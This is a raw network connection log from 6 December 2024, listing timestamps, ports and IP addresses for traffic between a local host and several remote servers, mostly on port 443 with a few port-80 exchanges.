Dec 6, 2024 18:45:55.233110905 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.233119965 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.233158112 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.305677891 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.305696964 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.305773973 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.305785894 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.305830002 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.319031954 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.319051027 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.319113016 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.319124937 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.319161892 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.319181919 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.332187891 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.332206011 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.332246065 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.332252026 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.332283974 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.332314014 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.343241930 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.343259096 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.343290091 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.343296051 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.343322039 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.343343973 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.355066061 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.355083942 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.355119944 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.355125904 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.355163097 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.362148046 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.362164974 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.362260103 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.362270117 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.362320900 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.365582943 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.365601063 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.365667105 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.365677118 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.365715981 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.370421886 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.370438099 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.370482922 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.370492935 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.370527029 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.370543957 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.376895905 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.376914024 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.376966000 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.376972914 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.377010107 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.377482891 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.377499104 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.377540112 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.377546072 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.377592087 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.385266066 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.385282040 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.385315895 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.385322094 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.385353088 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.385374069 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.388153076 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.388175964 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.388206005 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.388211966 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.388236046 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.388250113 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.393338919 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.393354893 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.393399954 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.393407106 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.394028902 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.394068003 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.394073963 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.394104004 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.394143105 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.406800985 CET	49846	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:55.406836987 CET	443	49846	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:55.407403946 CET	49846	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:55.407548904 CET	49846	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:55.407562971 CET	443	49846	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:55.414519072 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.414534092 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.500684023 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.500709057 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.500755072 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.500790119 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.500804901 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.500857115 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.508423090 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.508447886 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.508507013 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.508518934 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.508543015 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.508560896 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.515451908 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.515472889 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.515523911 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.515533924 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.515595913 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.522624016 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.522643089 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.522680044 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.522686958 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.522747993 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.522820950 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.529562950 CET	49847	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.529601097 CET	443	49847	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.529694080 CET	49847	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.530318022 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.530338049 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.530373096 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.530379057 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.530401945 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.530424118 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.532569885 CET	49847	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.532579899 CET	443	49847	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.537199020 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.537219048 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.537257910 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.537265062 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.537302017 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.544804096 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.544825077 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.544862032 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.544867992 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.544899940 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.552026987 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.552045107 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.552109957 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.552117109 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.552155972 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.691906929 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.691931963 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.692018986 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.692038059 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.692120075 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.699274063 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.699294090 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.699345112 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.699352026 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.699395895 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.705889940 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.705905914 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.705982924 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.705988884 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.706219912 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.713032007 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.713047028 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.713130951 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.713138103 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.713212967 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.720076084 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.720093012 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.720190048 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.720197916 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.720444918 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.727380991 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.727397919 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.727464914 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.727471113 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.727509975 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.733870029 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.733908892 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.733942032 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.733948946 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.733956099 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.733967066 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.733998060 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.734015942 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.735979080 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.735991955 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.749671936 CET	49848	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.749711037 CET	443	49848	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.749959946 CET	49848	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.757163048 CET	49848	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.757178068 CET	443	49848	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.918627977 CET	443	49840	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:55.921174049 CET	49840	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:55.921204090 CET	443	49840	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:55.921603918 CET	49840	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:55.921610117 CET	443	49840	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:55.999454975 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:56.002505064 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:56.021723032 CET	443	49841	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:56.023247957 CET	49841	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:56.023262024 CET	443	49841	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:56.023668051 CET	49841	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:56.023673058 CET	443	49841	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:56.139071941 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:56.139136076 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:56.140731096 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:56.140746117 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:56.140897989 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:56.140903950 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:56.373532057 CET	443	49840	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:56.373590946 CET	443	49840	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:56.373693943 CET	49840	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:56.382153988 CET	49840	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:56.382173061 CET	443	49840	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:56.388467073 CET	443	49843	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:56.391417027 CET	49843	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:56.391428947 CET	443	49843	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:56.391988993 CET	49843	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:56.392009020 CET	443	49843	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:56.392407894 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:56.394613028 CET	49849	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:56.394651890 CET	443	49849	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:56.394717932 CET	49849	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:56.394932032 CET	49849	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:56.394944906 CET	443	49849	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:56.512167931 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:56.520546913 CET	443	49841	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:56.520574093 CET	443	49841	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:56.520638943 CET	49841	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:56.520644903 CET	443	49841	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:56.520688057 CET	49841	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:56.520869017 CET	49841	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:56.520884037 CET	443	49841	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:56.520895004 CET	49841	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:56.520900965 CET	443	49841	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:56.524677038 CET	49850	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:56.524760962 CET	443	49850	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:56.524841070 CET	49850	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:56.525024891 CET	49850	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:56.525039911 CET	443	49850	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:56.566868067 CET	443	49844	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:56.566942930 CET	443	49845	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:56.615979910 CET	49844	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:56.616015911 CET	443	49844	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:56.616444111 CET	49844	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:56.616450071 CET	443	49844	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:56.616822958 CET	49845	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:56.616832972 CET	443	49845	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:56.617265940 CET	49845	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:56.617270947 CET	443	49845	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:56.652614117 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:56.652637959 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:56.652652025 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:56.652755022 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:56.652776003 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:56.652827978 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:56.824295998 CET	443	49843	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:56.824362993 CET	443	49843	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:56.824444056 CET	49843	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:56.833590984 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:56.833615065 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:56.833681107 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:56.833709955 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:56.833724976 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:56.836185932 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:56.842422009 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:56.842550993 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:56.842629910 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:56.842856884 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:56.844189882 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:56.848367929 CET	49843	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:56.848390102 CET	443	49843	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:56.848401070 CET	49843	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:56.848407030 CET	443	49843	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:56.855408907 CET	49851	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:56.855453014 CET	443	49851	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:56.855712891 CET	49851	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:56.855994940 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:56.856287003 CET	49851	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:56.856297016 CET	443	49851	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:56.886408091 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:56.886435986 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:56.886531115 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:56.886553049 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:56.888176918 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:56.976085901 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:57.005392075 CET	443	49844	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:57.005461931 CET	443	49844	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:57.005530119 CET	49844	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:57.011620045 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.011641979 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.011693001 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.011714935 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.011729956 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.011754990 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.030170918 CET	443	49845	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:57.030195951 CET	443	49845	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:57.030253887 CET	49845	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:57.030262947 CET	443	49845	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:57.032378912 CET	443	49845	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:57.036207914 CET	49845	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:57.044905901 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.044923067 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.044959068 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.044967890 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.044995070 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.045015097 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.068198919 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.068222046 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.068258047 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.068264961 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.068295956 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.068315029 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.069621086 CET	49844	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:57.069642067 CET	443	49844	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:57.069653988 CET	49844	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:57.069659948 CET	443	49844	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:57.080044031 CET	443	49847	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.080212116 CET	49847	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.082053900 CET	49845	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:57.082067013 CET	443	49845	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:57.082103014 CET	49845	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:57.082108021 CET	443	49845	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:57.088912010 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.088929892 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.088994980 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.089000940 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.091600895 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.149425983 CET	49852	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:57.149467945 CET	443	49852	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:57.149528027 CET	49852	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:57.151108980 CET	49853	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:57.151139021 CET	443	49853	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:57.151192904 CET	49853	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:57.151396990 CET	49852	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:57.151411057 CET	443	49852	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:57.151840925 CET	49853	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:57.151855946 CET	443	49853	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:57.165469885 CET	443	49846	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:57.165561914 CET	49846	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:57.202156067 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.202209949 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.202267885 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.202299118 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.202316046 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.202337980 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.239224911 CET	49846	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:57.239247084 CET	443	49846	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:57.239593983 CET	443	49846	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:57.239653111 CET	49846	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:57.243134022 CET	49846	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:57.247176886 CET	49847	443	192.168.2.6	150.171.27.10
